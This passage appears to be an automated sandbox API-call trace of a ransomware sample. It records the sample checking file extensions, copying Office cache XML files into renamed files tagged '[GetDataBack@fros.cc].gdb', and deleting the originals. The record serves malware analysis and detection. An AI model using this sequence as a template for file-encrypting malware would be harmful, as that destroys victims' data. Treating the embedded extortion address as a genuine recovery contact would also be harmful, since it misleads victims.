users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0116.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.028] lstrlenW (lpString=".doc") returned 4 [0116.028] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.028] lstrlenW (lpString=".docx") returned 5 [0116.028] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0116.028] lstrlenW (lpString=".pdf") returned 4 [0116.028] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.028] lstrlenW (lpString=".xls") returned 4 [0116.028] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.028] lstrlenW (lpString=".xlsx") returned 5 [0116.028] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0116.028] lstrlenW (lpString=".ppt") returned 4 [0116.028] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.028] lstrlenW (lpString=".zip") returned 4 [0116.028] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.028] lstrlenW (lpString=".rar") returned 4 [0116.028] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.028] lstrlenW (lpString=".bz2") returned 4 [0116.028] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.028] lstrlenW (lpString=".7z") returned 3 [0116.028] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.029] lstrlenW (lpString=".dbf") returned 4 [0116.029] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.029] lstrlenW (lpString=".1cd") returned 4 [0116.029] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.029] lstrlenW (lpString=".jpg") returned 4 [0116.029] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.029] lstrlenW (lpString=".doc") returned 4 [0116.029] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.029] lstrlenW (lpString=".docx") returned 5 [0116.029] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0116.029] lstrlenW (lpString=".pdf") returned 4 [0116.029] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.029] lstrlenW (lpString=".xls") returned 4 [0116.029] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.029] lstrlenW (lpString=".xlsx") returned 5 [0116.029] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0116.029] lstrlenW (lpString=".ppt") returned 4 [0116.029] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.029] lstrlenW (lpString=".zip") returned 4 [0116.029] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.029] lstrlenW (lpString=".rar") returned 4 [0116.029] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.029] lstrlenW (lpString=".bz2") returned 4 [0116.029] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.029] lstrlenW (lpString=".7z") returned 3 [0116.030] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.030] lstrlenW (lpString=".dbf") returned 4 [0116.030] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.030] lstrlenW (lpString=".1cd") returned 4 [0116.030] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0116.030] lstrlenW (lpString=".jpg") returned 4 [0116.030] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.030] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.030] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0116.030] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0116.030] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=819) returned 1 [0116.030] CloseHandle (hObject=0x1c4) returned 1 [0116.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0116.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0116.031] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.031] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0116.031] GetLastError () returned 0x0 [0116.031] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x333, lpOverlapped=0x0) returned 1 [0116.352] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x340, lpOverlapped=0x0) returned 1 [0116.353] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0116.353] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xf4, lpOverlapped=0x0) returned 1 [0116.353] SetEndOfFile (hFile=0x1c8) returned 1 [0116.353] CloseHandle (hObject=0x1c8) returned 1 [0116.354] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.354] SetEndOfFile (hFile=0x1c4) returned 1 [0116.355] CloseHandle (hObject=0x1c4) returned 1 [0116.355] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.355] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0116.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.356] lstrlenW (lpString=".doc") returned 4 [0116.356] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString=".docx") returned 5 [0116.356] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0116.356] lstrlenW (lpString=".pdf") returned 4 [0116.356] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString=".xls") returned 4 [0116.356] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString=".xlsx") returned 5 [0116.356] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0116.356] lstrlenW (lpString=".ppt") returned 4 [0116.356] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.356] lstrlenW (lpString=".zip") returned 4 [0116.356] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.356] lstrlenW (lpString=".rar") returned 4 [0116.356] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString=".bz2") returned 4 [0116.356] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString=".7z") returned 3 [0116.356] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.356] lstrlenW (lpString=".dbf") returned 4 [0116.356] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.356] lstrlenW (lpString=".1cd") returned 4 [0116.356] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.356] lstrlenW (lpString=".jpg") returned 4 [0116.356] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.356] lstrlenW (lpString=".doc") returned 4 [0116.356] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.356] lstrlenW (lpString=".docx") returned 5 [0116.356] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0116.356] lstrlenW (lpString=".pdf") returned 4 [0116.357] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.357] lstrlenW (lpString=".xls") returned 4 [0116.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.357] lstrlenW (lpString=".xlsx") returned 5 [0116.357] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0116.357] lstrlenW (lpString=".ppt") returned 4 [0116.357] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.357] lstrlenW (lpString=".zip") returned 4 [0116.357] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.357] lstrlenW (lpString=".rar") returned 4 [0116.357] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.357] lstrlenW (lpString=".bz2") returned 4 [0116.357] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.357] lstrlenW (lpString=".7z") returned 3 [0116.357] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.357] lstrlenW (lpString=".dbf") returned 4 [0116.357] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.357] lstrlenW (lpString=".1cd") returned 4 [0116.357] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0116.357] lstrlenW (lpString=".jpg") returned 4 [0116.357] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.357] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.357] lstrlenW (lpString="Office32WW.xml") returned 14 [0116.357] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0116.358] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=4274) returned 1 [0116.358] CloseHandle (hObject=0x1c4) returned 1 [0116.359] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0116.360] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.361] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0116.361] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.361] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.361] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0116.361] GetLastError () returned 0x0 [0116.361] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x10b2, lpOverlapped=0x0) returned 1 [0116.364] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x10c0, lpOverlapped=0x0) returned 1 [0116.366] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0116.366] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xf0, lpOverlapped=0x0) returned 1 [0116.367] SetEndOfFile (hFile=0x1c8) returned 1 [0116.367] CloseHandle (hObject=0x1c8) returned 1 [0116.367] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.367] SetEndOfFile (hFile=0x1c4) returned 1 [0116.368] CloseHandle (hObject=0x1c4) returned 1 [0116.368] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.368] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0116.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.369] lstrlenW (lpString=".doc") returned 4 [0116.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString=".docx") returned 5 [0116.369] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.369] lstrlenW (lpString=".pdf") returned 4 [0116.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString=".xls") returned 4 [0116.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString=".xlsx") returned 5 [0116.369] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.369] lstrlenW (lpString=".ppt") returned 4 [0116.369] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.369] lstrlenW (lpString=".zip") returned 4 [0116.369] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.369] lstrlenW (lpString=".rar") returned 4 [0116.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString=".bz2") returned 4 [0116.369] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString=".7z") returned 3 [0116.369] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.369] lstrlenW (lpString=".dbf") returned 4 [0116.369] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.369] lstrlenW (lpString=".1cd") returned 4 [0116.369] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.369] lstrlenW (lpString=".jpg") returned 4 [0116.369] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.369] lstrlenW (lpString=".doc") returned 4 [0116.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.369] lstrlenW (lpString=".docx") returned 5 [0116.369] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.369] lstrlenW (lpString=".pdf") returned 4 [0116.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.370] lstrlenW (lpString=".xls") returned 4 [0116.370] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.370] lstrlenW (lpString=".xlsx") returned 5 [0116.370] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.370] lstrlenW (lpString=".ppt") returned 4 [0116.370] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.370] lstrlenW (lpString=".zip") returned 4 [0116.370] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.370] lstrlenW (lpString=".rar") returned 4 [0116.370] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.370] lstrlenW (lpString=".bz2") returned 4 [0116.370] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.370] lstrlenW (lpString=".7z") returned 3 [0116.370] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.370] lstrlenW (lpString=".dbf") returned 4 [0116.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.370] lstrlenW (lpString=".1cd") returned 4 [0116.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0116.370] lstrlenW (lpString=".jpg") returned 4 [0116.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.370] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.370] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0116.370] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0116.407] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=6421) returned 1 [0116.407] CloseHandle (hObject=0x1b4) returned 1 [0116.407] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0116.407] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0116.407] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.407] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0116.408] GetLastError () returned 0x0 [0116.408] ReadFile (in: hFile=0x1b4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x1915, lpOverlapped=0x0) returned 1 [0116.417] WriteFile (in: hFile=0x1bc, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x1920, lpOverlapped=0x0) returned 1 [0116.418] ReadFile (in: hFile=0x1b4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0116.418] WriteFile (in: hFile=0x1bc, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xee, lpOverlapped=0x0) returned 1 [0116.418] SetEndOfFile (hFile=0x1bc) returned 1 [0116.418] CloseHandle (hObject=0x1bc) returned 1 [0116.420] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 